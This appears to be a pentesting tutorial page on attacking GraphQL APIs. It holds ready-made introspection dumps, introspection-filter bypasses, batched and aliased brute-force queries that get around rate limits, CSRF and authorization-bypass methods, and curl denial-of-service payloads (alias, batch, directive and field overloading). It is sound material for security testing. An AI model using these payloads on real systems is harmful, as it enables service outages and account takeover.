GraphQL
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
GraphQL は 注目されている、また 効率的な代替 としてバックエンドからデータを問い合わせるための簡素化されたアプローチを提供します。複数のエンドポイントにまたがる多数のリクエストが必要になることが多い REST と対照的に、GraphQL は必要な情報を 単一のリクエスト で取得することを可能にします。この簡素化はデータ取得処理の複雑さを軽減し、開発者にとって有益 です。
GraphQL and Security
新しい技術(GraphQL を含む)の登場に伴い、新たなセキュリティ脆弱性も発生します。重要な点は、GraphQL はデフォルトで認証機構を含まないということです。認証などのセキュリティ対策を実装するのは開発者の責任です。適切な認証がない場合、GraphQL エンドポイントは未認証ユーザーに対して機密情報を公開する可能性があり、重大なセキュリティリスクとなります。
ディレクトリブルートフォース攻撃とGraphQL
公開されている GraphQL インスタンスを特定するには、ディレクトリブルートフォースで特定のパスを含めることが推奨されます。これらのパスは:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
開放された GraphQL インスタンスを特定すると、サポートされているクエリを調査できます。これはエンドポイントを通じてアクセス可能なデータを理解するうえで重要です。GraphQL の イントロスペクション システムは、スキーマがサポートするクエリを詳細に示すことでこれを支援します。詳細は GraphQL のイントロスペクションに関するドキュメントを参照してください: GraphQL: A query language for APIs.
Fingerprint
ツール graphw00f はサーバで使用されている GraphQL エンジンを検出でき、セキュリティ監査人向けに有用な情報を出力します。
ユニバーサルクエリ
URL が GraphQL サービスかどうかを確認するには、ユニバーサルクエリ、query{__typename} を送信できます。レスポンスに {"data": {"__typename": "Query"}} が含まれていれば、その URL が GraphQL エンドポイントをホストしていることが確認できます。この手法は GraphQL の __typename フィールドに依存しており、クエリされたオブジェクトの型を明らかにします。
query{__typename}
基本的な列挙
Graphql は通常 GET、POST (x-www-form-urlencoded) および POST(json) をサポートします。セキュリティ上、CSRF 攻撃を防ぐために json のみを許可することが推奨されます。
イントロスペクション
スキーマ情報を取得するためにイントロスペクションを使用する場合、__schema フィールドをクエリしてください。このフィールドはすべてのクエリのルート型で利用可能です。
query={__schema{types{name,fields{name}}}}
このクエリを使うと、使用されているすべての型の名前を見つけられます:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
このクエリを使うと、すべての型、そのフィールド、および引数(および引数の型)を抽出できます。これはデータベースに対してどのようにクエリを投げるかを知るのに非常に役立ちます。
.png)
エラー
エラーが表示されるかどうかを知ることは興味深いです。なぜなら、それらは有用な情報に寄与するからです。
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Introspection を使ってデータベーススキーマを列挙する
Tip
introspection が有効になっているが上記のクエリが実行されない場合は、クエリ構造から
onOperation、onFragment、onFieldディレクティブを削除してみてください。
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
インライン introspection クエリ:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
最後のコード行はgraphqlクエリで、graphqlからすべてのメタ情報(オブジェクト名、パラメータ、型…)をダンプします。
.png)
introspectionが有効な場合、GraphQL Voyager を使用してGUIで全てのオプションを表示できます。
クエリ実行
データベースにどのような情報が保存されているかがわかったので、いくつかの値を抽出してみましょう。
In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image you can see that the “queryType” is called “Query” and that one of the fields of the “Query” object is “flags”, which is also a type of object. Therefore you can query the flag object.

Note that the type of the query “flags” is “Flags”, and this object is defined as below:
.png)
You can see that the “Flags” objects are composed by name and .value Then you can get all the names and values of the flags with the query:
query={flags{name, value}}
次の例のように、object to query が primitive type(例: string)の場合は注意してください
.png)
次のようにクエリできます:
query = { hiddenFlags }
別の例では、“Query” 型オブジェクト内に 2 つのオブジェクト “user” と “users” がありました。
これらのオブジェクトが検索に引数を必要としない場合、欲しいデータをただ要求するだけで、そこから全情報を取得できる可能性があります。 このインターネット上の例では、保存されたユーザー名とパスワードを抽出できます:
.png)
しかし、この例ではそうしようとすると次の エラー になります:
.png)
どうやら “uid”(型は Int)という引数で検索されるようです。
いずれにせよ、Basic Enumeration セクションですでに示された通り、必要な情報をすべて表示するクエリがありました: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
そのクエリを実行したときの画像を見ると、“user” が Int 型の arg “uid” を持っていることがわかります。
そこで、軽い uid ブルートフォースを行ったところ、uid=1 でユーザー名とパスワードが取得できました:query={user(uid:1){user,password}}
.png)
存在しないフィールドを要求すると (query={user(uid:1){noExists}}) 次のエラーになるため、“user” と “password” のパラメータを要求できることを確認できました:
.png)
列挙フェーズの間に、“dbuser” オブジェクトがフィールドとして “user” と “password” を持っていることを発見しました。
Query string dump trick (thanks to @BinaryShadow_)
If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (注: この例はチュートリアルの例とは関係ありません。ここでは、String 型のフィールド “description” で “theusers” を検索できると仮定します。)
検索
この設定では、database は persons と movies を含みます。Persons は email と name で識別され、movies は name と rating で識別されます。Persons は互いに友人関係になり、映画を持つこともあり、データベース内の関係性を示します。
name で persons を検索してメールアドレスを取得できます:
{
searchPerson(name: "John Doe") {
email
}
}
名前****で人物を検索して、その購読中の****映画を取得できます:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
person の subscribedMovies の name を取得するように示されている点に注意してください。
同時に複数のオブジェクトを検索することもできます。この場合、2本の映画を検索します:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
あるいは、エイリアスを使用した複数の異なるオブジェクト間の関係:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
ミューテーション
ミューテーションはサーバー側での変更を行うために使用されます。
introspectionでは、宣言されたミューテーションを確認できます。下の画像では “MutationType” が “Mutation” と呼ばれており、“Mutation” オブジェクトには(この場合)“addPerson” のようなミューテーションの名前が含まれています:
.png)
この構成では、database に persons と movies が含まれます。persons は email と name で識別され、movies は name と rating で識別されます。persons は互いに友達になれ、また movies を持つことができ、データベース内の関係を表します。
create new movies をデータベース内に作成するミューテーションは、次のようになります(この例ではミューテーションは addMovie と呼ばれます):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
クエリ内で値とデータ型の両方が示されている点に注意してください。
さらに、データベースは addPerson という名前の mutation 操作をサポートしており、既存の friends および movies と関連付けられた persons を作成できます。新たに作成する人物にそれらをリンクする前に、該当の friends と movies がデータベース内に既に存在している必要がある点は重要です。
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
ディレクティブのオーバーロード
one of the vulns described in this report で説明されているように、ディレクティブのオーバーロードはディレクティブを何百万回も呼び出してサーバーに処理を無駄遣いさせ、最終的に DoS を引き起こすことを意味します。
Batching brute-force in 1 API request
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
GraphQL API を介した認証で、異なる資格情報を持つ多くのクエリを同時に送信して検証する方法です。これは古典的な brute force 攻撃ですが、GraphQL の batching 機能により、1つの HTTP リクエストで複数の login/password ペアを送信できるようになりました。この手法は外部のレート監視アプリケーションを騙して、すべて問題ないと見なさせ、パスワードを推測しようとする brute-forcing bot が存在しないかのように見せかけます。
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:
.png)
As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.
 (1).png)
GraphQL Without Introspection
More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.
Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.
A nice wordlist to discover GraphQL entities can be found here.
Bypassing GraphQL introspection defences
API の introspection クエリに対する制限を回避するには、__schema キーワードの後に特殊文字を挿入するのが効果的です。この手法は、__schema キーワードに着目して introspection をブロックしようとする正規表現パターンでよくある見落としを突きます。GraphQL が無視するが正規表現が考慮していない可能性のある スペース、改行、カンマ といった文字を追加することで、制限を回避できます。例えば、__schema の後に改行を入れた introspection クエリはそのような防御をバイパスする場合があります:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.
WebSockets を試す
As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
公開されている GraphQL 構造の発見
introspection が無効な場合、JavaScript ライブラリにあるプリロード済みのクエリをウェブサイトのソースコードから調べるのは有用な手法です。これらのクエリは開発者ツールの Sources タブで見つけられ、API のスキーマに関する洞察を与え、潜在的に 露出している機密性の高いクエリ を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
イントロスペクションがブロックされている場合、InQL v6.1+ はエラーフィードバックだけから到達可能なスキーマを再構築できます。新しい schema bruteforcer は、設定可能な wordlist から候補となるフィールド/引数名をバッチ化して、HTTP チャターを減らすために複数フィールドの操作で送信します。役立つエラーパターンは自動的に収集されます:
Field 'bugs' not found on type 'inql'confirms the existence of the parent type while discarding invalid field names.Argument 'contribution' is requiredshows that an argument is mandatory and exposes its spelling.- Suggestion hints such as
Did you mean 'openPR'?are fed back into the queue as validated candidates. - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like
[Episode!].
bruteforcer は新しいフィールドを返すあらゆる型に対して再帰を続けるため、汎用的な GraphQL 名とアプリ固有の推測を混ぜた wordlist を用いれば、最終的にイントロスペクションなしでスキーマの大部分をマッピングできます。実行時間は主にレート制限と候補の量に左右されるため、InQL の設定(wordlist、batch size、throttling、retries)の微調整は、よりステルスな作業では重要です。
同リリースで、InQL は GraphQL engine fingerprinter を搭載しました(graphw00f のようなツールからシグネチャを借用)。このモジュールは意図的に無効なディレクティブ/クエリを送信し、正確なエラーテキストと照合してバックエンドを分類します。例えば:
query @deprecated {
__typename
}
- Apollo は
Directive "@deprecated" may not be used on QUERY.と返します - GraphQL Ruby は
'@deprecated' can't be applied to queriesと応答します
Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).
Finally, 自動変数生成 は Burp Repeater/Intruder にピボットする際の典型的な阻害要因を除去します。操作が variables JSON を要求する場合、InQL は妥当なデフォルトを注入して、リクエストが最初の送信でスキーマ検証を通過するようにします:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Nested input objects inherit the same mapping, so you immediately get a syntactically and semantically valid payload that can be fuzzed for SQLi/NoSQLi/SSRF/logic bypasses without manually reverse-engineering every argument.
GraphQL の CSRF
CSRF が何か分からない場合は次のページを参照してください:
CSRF (Cross Site Request Forgery)
そこでは、複数の GraphQL エンドポイントが CSRF tokens なしで構成されている のを見つけることができます。
GraphQL リクエストは通常、Content-Type を application/json にして POST リクエストで送信されることに注意してください。
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
しかし、ほとんどの GraphQL エンドポイントは form-urlencoded POST requests: にも対応しています。
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Therefore, as CSRF requests like the previous ones are sent プリフライトリクエストなしで, it’s possible to 操作 変更 in the GraphQL abusing a CSRF.
However, note that the new default cookie value of the samesite flag of Chrome is Lax. This means that the cookie will only be sent from a third party web in GET requests.
Note that it’s usually possible to send the query request also as a GET request and the CSRF token might not being validated in a GET request.
Also, abusing a XS-Search attack might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.
For more information check the original post here.
Cross-site WebSocket hijacking in GraphQL
Similar to CRSF vulnerabilities abusing graphQL it’s also possible to perform a Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies and make a user perform unexpected actions in GraphQL.
For more information check:
GraphQL における認可
エンドポイントに定義された多くのGraphQL関数は、リクエスタの認証のみを確認し、認可を確認していない可能性があります。
クエリの入力変数を変更すると、機密アカウント情報が leaked。
Mutation により、他のアカウントデータを変更しようとしてアカウント乗っ取りにつながる場合さえあります。
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Bypass authorization in GraphQL
Chaining queries を連結することで、弱い認証システムをバイパスできます。
下の例では、operationが “forgotPassword” で、それに関連する forgotPassword クエリのみを実行するはずであることがわかります。これは末尾に別のクエリを追加することでバイパスできます。ここでは “register” と、新しいユーザとして登録するための user 変数を追加しています。
Bypassing Rate Limits Using Aliases in GraphQL
GraphQLでは、aliases は API リクエスト時に プロパティ名を明示的に指定すること を可能にする強力な機能です。この機能は、1つのリクエスト内で同じタイプのオブジェクトを 複数取得する 場合に特に有用です。aliases は、GraphQLオブジェクトが同じ名前のプロパティを複数持てないという制約を回避するために使えます。
GraphQL aliases の詳細な理解には、次のリソースを推奨します: Aliases.
aliases の主目的は多くのAPI呼び出しの必要性を減らすことですが、意図しないユースケースとして aliases を利用して GraphQL エンドポイントに対する brute force attacks を実行できることが確認されています。これは一部のエンドポイントが brute force attacks を防ぐために number of HTTP requests を制限する rate limiters によって保護されているためです。しかし、これらの rate limiters は各リクエスト内の operations の数を考慮していない場合があります。aliases により1つの HTTP request に複数の queries を含められるため、これらのレート制限を回避できる可能性があります。
以下の例は、aliased queries を使って store discount codes の有効性を検証する方法を示しています。この手法は複数のクエリを1つの HTTP request にまとめるため rate limiting を回避でき、同時に多数の割引コードを検証できる可能性があります。
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
GraphQLにおけるDoS
Alias Overloading
Alias Overloading は、攻撃者が同じフィールドに対して多数のエイリアスを使ってクエリを過負荷にする GraphQL の脆弱性で、バックエンドのresolver がそのフィールドを繰り返し実行させます。これによりサーバー資源が圧迫され、Denial of Service (DoS) を引き起こす可能性があります。例えば、以下のクエリでは、同じフィールド (expensiveField) がエイリアスを使って1,000回要求され、バックエンドがそれを1,000回計算することを強いられ、CPUやメモリを枯渇させる可能性があります:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
これを緩和するために、alias count limits、query complexity analysis、または rate limiting を実装してリソースの濫用を防いでください。
Array-based Query Batching
Array-based Query Batching は、GraphQL API が単一のリクエストで複数のクエリをバッチ処理できる脆弱性で、攻撃者が大量のクエリを同時に送信できるようになります。これにより、バッチされたすべてのクエリを並列に実行してバックエンドを圧倒し、過度のリソース(CPU、メモリ、データベース接続)を消費し、Denial of Service (DoS) を引き起こす可能性があります。バッチ内のクエリ数に制限がなければ、攻撃者はこれを悪用してサービスの可用性を低下させることができます。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
この例では、10個の異なるクエリが1つのリクエストにバッチ化され、サーバーはそれらを同時に実行することを強いられます。バッチサイズを大きくしたり、計算負荷の高いクエリで悪用した場合、サーバーに過負荷を与える可能性があります。
Directive Overloading Vulnerability
Directive Overloading は、GraphQLサーバーが過剰かつ重複したディレクティブを含むクエリを許可する場合に発生します。これによりサーバーのパーサーや実行エンジンが圧倒されることがあり、特にサーバーが同じディレクティブのロジックを繰り返し処理する場合は顕著です。適切な検証や制限がないと、攻撃者は多数の重複ディレクティブを含むクエリを作成して高い計算負荷やメモリ使用量を引き起こし、Denial of Service (DoS) を招く可能性があります。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
前の例では @aa は宣言されていない可能性があるカスタムディレクティブであることに注意してください。一般的に存在するディレクティブの例は @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
宣言されているすべてのディレクティブを検出するには、イントロスペクションクエリを送信することもできます:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
そして いくつかのカスタムを使います。
Field Duplication Vulnerability
Field Duplication は、GraphQL サーバが同じフィールドを過度に繰り返したクエリを許可する脆弱性です。これによりサーバは各インスタンスごとにフィールドを冗長に解決することを強いられ、CPU、メモリ、データベース呼び出しなどの多大なリソースを消費します。攻撃者は何百、何千もの繰り返しフィールドを含むクエリを作成して高負荷を引き起こし、最終的に Denial of Service (DoS) を引き起こす可能性があります。
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
最近の脆弱性 (2023-2025)
GraphQLエコシステムは非常に速く進化しています。過去2年間で主要なサーバーライブラリに対していくつかの重大な問題が公開されました。GraphQLエンドポイントを見つけたら、エンジンのフィンガープリント(graphw00fを参照)を取得し、以下の脆弱性に対して実行中のバージョンを確認する価値があります。
CVE-2024-47614 – async-graphql の directive-overload DoS (Rust)
- 影響を受ける: async-graphql < 7.0.10 (Rust)
- 根本原因: 重複したディレクティブ に制限がない(例: 数千の
@include)ため、それらが指数関数的な数の実行ノードに展開される。 - 影響: 単一のHTTPリクエストでCPU/RAMを枯渇させ、サービスをクラッシュさせる可能性がある。
